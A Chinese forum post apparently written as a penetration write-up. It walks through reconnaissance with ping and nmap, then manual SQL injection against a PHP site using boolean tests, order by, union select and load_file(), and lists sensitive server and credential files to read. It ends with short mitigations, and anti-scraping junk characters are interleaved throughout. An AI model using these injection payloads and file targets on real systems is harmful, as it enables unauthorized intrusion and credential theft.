找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2035|回复: 0
打印 上一主题 下一主题

记一次Linux系统PHP注入入侵检测

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-16 22:23:32 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
题记:
6 j8 U) B6 `3 G' J$ v+ i/ z一位朋友在某教育公司,一套网络教育平台。一年前,在2008年8月份的时候,我看到了这套平台,当时发现了个注入漏洞,测试了一下,得到一个可用帐户后就没有再继续下去。今天7月,又说到此事,我决定继续下去……, K* v2 K* D9 n9 h
第一步:获取需要的信息
# j; f) H. E4 ~: e由于之前测试过,知道此系统某处存在SQL注入漏洞。但由于时隔一年,岁月的远去已经深深的隐藏了那个SQL注入漏洞的地址,现在需要重新收集服务器有用信息。
* p3 b: }' C, m7 ]+ m注:以下为保护特用XXX代替敏感信息
2 B7 ?9 w# }# |* A3 S" y顺手先PING了一下他们的域名:
0 n1 w/ g4 h3 F, q3 f3 G- tping XXX.XXX.XXX.XXX(本文约定:用XXX.XXX.XXX.XXX代表测试IP和域名)# j, O8 ^) M, L& @3 h  e
64 bytes from *********: icmp_seq=1 ttl=246 time=1.87 ms
( {3 z) H/ ^8 O# k: ]& ^% {5 u1 ~8 D顺便了解一下TTL,学好基础知识才能一路顺风:
6 }6 y2 n0 ?- j) vTTL:(Time To Live ) 生存时间3 w% M* m& ]. w. }& b
指定数据包被路由器丢弃之前允许通过的网段数量。
$ M: M$ ^' i6 jTTL 是由发送主机设置的,以防止数据包不断在 IP 互联网络上永不终止地循环。转发 IP 数据包时,要求路由器至少将 TTL 减小 1。
( M; Y8 y# [* |2 V' Z使用PING时涉及到的 ICMP 报文类型
+ [- \1 z1 |/ g: C& B一个为ICMP请求回显(ICMP Echo Request)
4 \) D+ w$ B, |" z8 L一个为ICMP回显应答(ICMP Echo Reply)
# M& Q; g4 Y& s4 }5 G9 H/ bTTL 字段值可以帮助我们识别操作系统类型。5 U/ `' l- E5 A9 B) ]* w. d
UNIX 及类 UNIX 操作系统 ICMP 回显应答的 TTL 字段值为 255
! L- g& Q: _# Q' P: BCompaq Tru64 5.0 ICMP 回显应答的 TTL 字段值为 64, n5 B  T5 n+ p% ^
微软 Windows NT/2K操作系统 ICMP 回显应答的 TTL 字段值为 1286 z% S: F. C! m
微软 Windows 95 操作系统 ICMP 回显应答的 TTL 字段值为 324 o4 U+ y5 b3 U& q& ]
当然,返回的TTL值是相同的; Q3 Q5 _- g& Q, ?, r( d  g: B- h- \
但有些情况下有所特殊
: G  g- ?8 Q) u; `8 LLINUX Kernel 2.2.x & 2.4.x ICMP 回显应答的 TTL 字段值为 64, `0 ]+ B* |+ z% q, N  s3 y
FreeBSD 4.1, 4.0, 3.4;( t% R9 ^- f3 l2 y  e+ ?
Sun Solaris 2.5.1, 2.6, 2.7, 2.8;
! m& Z5 F$ Y/ n: W  j, }  {5 oOpenBSD 2.6, 2.7,
$ T; K2 k* N: ~% n! RNetBSD; k! O& c) B; e) B1 v
HP UX 10.20
; ?, X+ ^* B  `! e" BICMP 回显应答的 TTL 字段值为 255
$ u, r+ h. _2 x9 {8 s6 YWindows 95/98/98SE- q/ I9 i) p0 `
Windows ME" K# i) e% S* r+ [( U
ICMP 回显应答的 TTL 字段值为 32% z! g3 m% z0 a& v
Windows NT4 WRKS
* A4 M7 A  ]2 v9 A) B  oWindows NT4 Server
( X( B, U1 i/ G4 |: q3 H9 dWindows 2000
9 r' ~' h& v7 o4 y5 x; c) D3 yWindows XP
$ u' E' X, m6 ?4 d- R* \5 l3 @ICMP 回显应答的 TTL 字段值为 128! ]' ^. ?; D6 y9 D' c' T
这样,我们就可以通过这种方法来辨别操作系统
0 u& H! Q$ f/ E8 n3 R; ATTL值的注册表位置HKEY_LOCAL_MACHINE\SYSTEM \CurrentControlSet\Services\Tcpip\Parameters 其中有个DefaultTTL的DWORD值,其数据就是默认的TTL值了,我们可以修改,但不能大于十进制的255
6 E) Y, |% _( o6 ?0 W1 @4 C用NMAP扫描一下:( v  T. {, Q3 R) s2 ^
nmap -sT -O XXX.XXX.XXX.XXX) e+ J8 u8 Y  N/ C# d6 G
如果没有装WinPcap则会弹出提示:
  @( \" N, [( N2 {9 N2 b) i0 fWARNING: Could not import all necessary WinPcap functions.  You may need to upgr) B/ e& D: p3 V- W1 v
ade to version 3.1 or higher from http://www.winpcap.org.  Resorting to connect(
4 O+ [- m- s4 m) mode — Nmap may not function completely
' _( {" w! }" ?) C5 QTCP/IP fingerprinting (for OS scan) requires that WinPcap version 3.1 or higher' f  v/ {, m* c; t2 k* o6 Z
and iphlpapi.dll be installed. You seem to be missing one or both of these.  Win  R4 G8 s8 Y9 r
pcap is available from http://www.winpcap.org.  iphlpapi.dll comes with Win98 an& B/ @, |5 d( _2 X: t! |3 Y: n# d& G
d later operating sytems and NT 4.0 with SP4 or greater.  For previous windows v% Y; y7 N2 o: @& j8 g
ersions, you may be able to take iphlpapi.dll from another system and place it i
  F6 b: u8 w% H' tn your system32 dir (e.g. c:\windows\system32).
$ u8 U/ Y7 n/ Z# z1 Y% Q: D7 TQUITTING!
" U6 P) i* l7 c5 t6 \/ ?9 ?到这里下载: http://www.winpcap.org/install/bin/WinPcap_4_1_1.exe
& E# b4 }( e# R' p# E) f8 S- `5 M安装后继续执行刚才的命令,等待扫描完毕后得到入下信息:! d$ y& P6 c8 E3 |
Interesting ports on XXX.XXX.XXX.XXX:9 S! j' P7 t: B" K. T- w% d
Not shown: 986 closed ports& J- ]4 S: W3 Z' Q2 S8 s$ b5 J
PORT     STATE    SERVICE- I- F4 w% b6 i9 U% T
21/tcp   open     ftp* S9 x" N, l* j
22/tcp   open     ssh
4 p9 s( r5 a! M* Q& R23/tcp   open     telnet
1 q- a' ?: k1 l. p# w# B( J80/tcp   open     http
$ R  l  h5 J9 x- y* o111/tcp  open     rpcbind  E+ j8 b  N7 S& ]  I
135/tcp  filtered msrpc: @1 r# O  v& m% }
139/tcp  filtered netbios-ssn
& i1 K3 v: A$ C6 R* \, {" e445/tcp  filtered microsoft-ds, l& [, f) X  q
513/tcp  open     login
' {2 h- S% a1 }' C( \: {7 T* P514/tcp  open     shell5 V( w* B) V" \& X( Y$ ~/ Z/ j4 K
593/tcp  filtered http-rpc-epmap& q  h/ w; N" F8 [% F
1720/tcp filtered H.323/Q.931
" e# x1 g3 O( i% d& }1 T: d! r3306/tcp open     mysql/ A5 F4 U" e- P) ?2 O% c8 V
4444/tcp filtered krb524
6 Q8 w+ @% j0 {  dDevice type: WAP2 z; j9 e& B! W. U4 _, F$ M. Y
Running: Linux 2.4.X
7 r  \3 q8 T$ qOS details: DD-WRT (Linux 2.4.35s)6 R) p* F# M3 D/ ^/ s
Network Distance: 13 hops- j' x* w  l+ T) R6 z
看到SSH22端口是开着的,打开putty试一下,看是否可以正常连接:
" ]: }3 C4 r3 y- D. x. Ulogin as:+ M) K, [! v- O. @2 y
Telnet23端口也是开着的,用telnet 命令链接一下:
) W6 M3 N! Q. a" J. Ztelnet XXX.XXX.XXX.XXX
% e$ L# j- a% p/ Z6 G% s提示:
. X/ t% s# N0 ?8 P" Y! I( {Red Hat Enterprise Linux Server release 5.2 (Tikanga)& q% a5 A2 D& z6 e" H
Kernel 2.6.18-92.el5PAE on an i6861 ~( I3 X! ~  m+ R9 f" `2 f
login:
/ K5 l$ S9 |0 |2 }获取HTTP头信息:
- Y8 k7 f; d5 g$ |' ?; i3 W3 \7 u在本地执行如下PHP代码
/ F5 K, i: j1 {: L4 _<?php; g" M# }( u7 q  c" k9 i& I! A
$url = ‘XXX.XXX.XXX.XXX’;3 e8 o# R) H. x
print_r(get_headers($url));
# U6 W8 O6 \) E! k" Z& A. j! uprint_r(get_headers($url, 1));
: M9 i" O: {7 O3 Y" J; R+ ??>1 x' [# e. Q; [) j  A
将以上代码保存为PHP文件,执行:' |" j& L8 P- `; ^
Array ( [0] => HTTP/1.1 200 OK [1] => Server: nginx/0.7.61 [2] => Date: Mon, 02 Nov 2009 09:06:48 GMT [3] => Content-Type: text/html; charset=gb2312,gbk,utf-8 [4] => Content-Length: 75 [5] => Last-Modified: Thu, 20 Aug 2009 19:35:37 GMT [6] => Connection: close [7] => Accept-Ranges: bytes ) Array ( [0] => HTTP/1.1 200 OK [Server] => nginx/0.7.61 [Date] => Mon, 02 Nov 2009 09:06:48 GMT [Content-Type] => text/html; charset=gb2312,gbk,utf-8 [Content-Length] => 75 [Last-Modified] => Thu, 20 Aug 2009 19:35:37 GMT [Connection] => close [Accept-Ranges] => bytes )
4 x1 I9 e. J" o8 S现在可以得出结论:8 v! w7 l+ R: O7 t
系统版本:Red Hat Enterprise Linux Server release 5.2 (Tikanga)1 F! W+ Y$ N* M+ I( V' i7 M9 g0 w# A
内核版本:Kernel 2.6.18-92.el5PAE on an i686& q  e9 n' h+ F6 y+ \
WEB服务器版本:nginx/0.7.61
& y7 g7 v( l" @  `' b. k: ~+ j第二步,开始测试寻找漏洞
4 C) G/ s( o0 G. d- X分析是否存在注入漏洞,因为上次曾发现存在过,所以注入则是我们的首选。1 X& J# n9 i- t) R- L" K
1、敏感地址:站内存在有类似:http://www.fovweb.com/XXX.php?id=123 这种地址,属动态传参的
- ]" U3 ~) a3 D- M& H- A# P' u9 G2、测试方法:在地址后加 and 1=1 和 and 1=2 测试! f% o% H0 Q: L5 d+ D
http://www.fovweb.com/XXX.php?id=123 and 1=1 返回正常
9 u" A* r2 r1 V, x6 E' qhttp://www.fovweb.com/XXX.php?id=123 and 1=2 返回错误
: R% r) B+ y7 ?恭喜,两次返回结果不同,则很有可能存在未过滤敏感字符而存在SQL注入漏洞,我们继续
: }, l( U, L( x3 {1 F/ r( B/ N3、手工注入:
( F% T% R, a. {( X0 b% t注入也应该有个思路,不能随便碰运气,要记住入侵检测不是靠运气而走下去的,要靠的是清晰的思路、过硬的技术、很全的知识面。
& w0 o5 u6 F& B% a' Y1 Z3.1 猜测当前表字段数/ n2 X  l8 u3 M# _% a
http://www.fovweb.com/XXX.php?id=123 and 1=1 order by 10" P1 Y) T) q/ E2 d) n2 b
此处猜测有个简单的算法,都是有技巧的吗,呵呵/ v* @, c6 {5 [8 P- y) I- m; s1 V
算法简单如下:) x* x7 r! z  H  p2 q5 L# g
第一步:根据页面信息,大概估算一个数值,这个是要靠一定的经验了;0 }- f; p5 W# `, e2 z1 |3 U
第二步:取中算法,好比是10,如果返回错误,则取中间值5进行下一次猜测;
: U1 @3 M0 L/ B7 c* d% |3 {2 z$ p& w" K需要注意:如果所选数值在字段数范围内即小于等于,则会(返回正常);如果所选数值在字段范围外即大于等于,则会(返回错误)。
/ K1 t  q; Z$ C% F0 }4 {& C9 i, o以此来判断,是否过界,配合取中算法猜出字段数。
) Z2 i3 H+ Z3 W/ {举例:
; k  U" `/ Z6 j: _) {# Phttp://www.fovweb.com/XXX.php?id=123 and 1=1 order by 3 返回正常
% Y- X, w- \1 x+ `9 p  o: j  zhttp://www.fovweb.com/XXX.php?id=123 and 1=1 order by 4 返回错误3 |; y, @# V2 N0 a; E3 t0 b
此时3则为我们要找的字段数。* F5 G4 P1 {  R0 J# L
3.2 配合union联合查询字段在页面所位置
. [1 p3 ]1 j- u; i# I# y我们已经知道了字段数为3,此时则可以做如下操作:3 E6 F. h1 K% N8 N5 ?6 Z
http://www.fovweb.com/XXX.php?id=123 and 1=2 union select 1,2,3& J4 c& _3 y8 K& k, w$ m2 t/ H
4 V' D- j1 e5 @- \# D' }
这样就可以测试到哪些字段在页面上有所显示了,如图:  Y2 z8 v1 v4 i0 ?" Z# j% l

, W" U' S7 H1 P" L5 w. m- a3.3 查敏感信息3 r. C# h" R" v0 ]; _
这也是个思路问题,我们需要什么,其实到了这一步已经能做什么多事情了。
& P. H# |) N! J9 g1 ohttp://www.fovweb.com/XXX.php?id=123 and 1=2 union select 1,user(),database()
0 p2 d9 p1 T( V: S) K. F3.3.1 先查数据库用户、数据库名,以备后用,如图:* s( _' f' D% Q4 T1 }2 m  F

0 u6 L, H8 C8 i* B! z1 D得到数据库用户为root、数据库名为DBxx;0 b( R% t7 G6 X6 j
3.3.2 查配置文件- z' i% w- ^8 H, H6 ]3 G* ^$ \4 o' Z
查配置文件,就是指查看系统敏感的文件,如web服务器配置文件等。
/ ?; _1 ^8 J. ~0 i2 O* D查看文件有一定的条件限制:
, H; |. g& `4 t+ D4 X欲读取文件必须在服务器上
" w* s; n3 |; W2 b/ O必须指定文件完整的路径
9 g" z, P& N' j% J0 [$ m必须有权限读取并且文件必须完全可读. U4 R; L) @: I" K
欲读取文件必须小于 max_allowed_packet
# K/ d* K1 F' c( P$ ]% i! TMYSQL注入中,load_file()函数在获得webshell以及提权过程中起着十分重要的作用,常被用来读取各种配置文件。$ h3 |8 o; y% S5 K0 u
常用的一些:
# F  E1 Y9 H- C5 ^( b3 {/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件
. Q- c+ ]% X( ?/usr/local/apache2/conf/httpd.conf& q; f& i- P8 g
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置; W8 F- K: S3 b* X9 w
/usr/local/app/php5/lib/php.ini //PHP相关设置6 ?/ E' Q7 K( r2 t; w
/etc/sysconfig/iptables //从中得到防火墙规则策略
8 K4 p- @' S6 o/etc/httpd/conf/httpd.conf // apache配置文件+ H; B0 ~+ I. ?2 F! |3 M% _
/etc/rsyncd.conf //同步程序配置文件
6 W3 I) C  z5 T, Q) ?$ A/etc/sysconfig/network-scripts/ifcfg-eth0 //查看IP.0 v) i, v. L  h; |5 p  O
/etc/my.cnf //mysql的配置文件2 L# J, U) G$ ?$ |$ g1 x
/etc/redhat-release //系统版本
6 O5 T) |4 |& U1 `: g% w1 n/etc/issue) L( P6 ^1 i9 z7 l
/etc/issue.net
/ ~* v5 J- W% w1 D! Lc:\mysql\data\mysql\user.MYD //存储了mysql.user表中的数据库连接密码
" L% e  ~" w6 d+ hc:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini //存储了虚拟主机网站路径和密码
; B; u; _: s  E3 Xc:\Program Files\Serv-U\ServUDaemon.ini. t( G/ b8 f' f; ^; g. C; x
c:\windows\my.ini //MYSQL配置文件6 I/ B& t2 [- Q8 I, {
c:\windows\system32\inetsrv\MetaBase.xml //IIS配置文件
8 L( k# [. L: O+ l( q2 ]& ]等等。实际上,load_file()的作用不止于此,它还可以用来读取系统中的二进制文件,' s- J, B5 z! g" p% r* L
c:\windows\repair\sam //存储了WINDOWS系统初次安装的密码
) j- H6 T  s& v8 Nc:\Program Files\ Serv-U\ServUAdmin.exe //6.0版本以前的serv-u管理员密码存储于此' W1 U/ [1 B5 j) O& a3 a
c:\Program Files\RhinoSoft.com\ServUDaemon.exe
$ D% c3 T8 f% ~# G0 d) o/ }% G/ LC:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件
- n  x1 y# A" u! _& _//存储了pcAnywhere的登陆密码
% X, P! ]" T* r8 w1 I- h由于之前得到信息,此台服务器是采用的nginx做的Web服务器,那我们就来试着找一下nginx的安装路径吧。3 p( l$ v, p' u8 b/ @8 ^/ c
这个没有技术性可言,纯靠经验和运气,由于很少用nginx不了解,我就先到网上搜索常用的安装路径,以及比较好的配置文档中的安装路径进行测试,最终,得到nginx安装路径“/usr/local/nginx/conf/nginx.conf”。0 X3 Q; Q6 e8 b3 K# @
最后:防范措施6 }' ~" W, M6 N. q9 M
1、修复PHP注入漏洞;
0 K5 N- v$ Q8 F" w1 o2、Mysql使用普通权限的用户;
5 E1 X4 u, l+ t: R7 Q/ ~; E/ p) N2 |3、升级linux内核至最新版本;
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表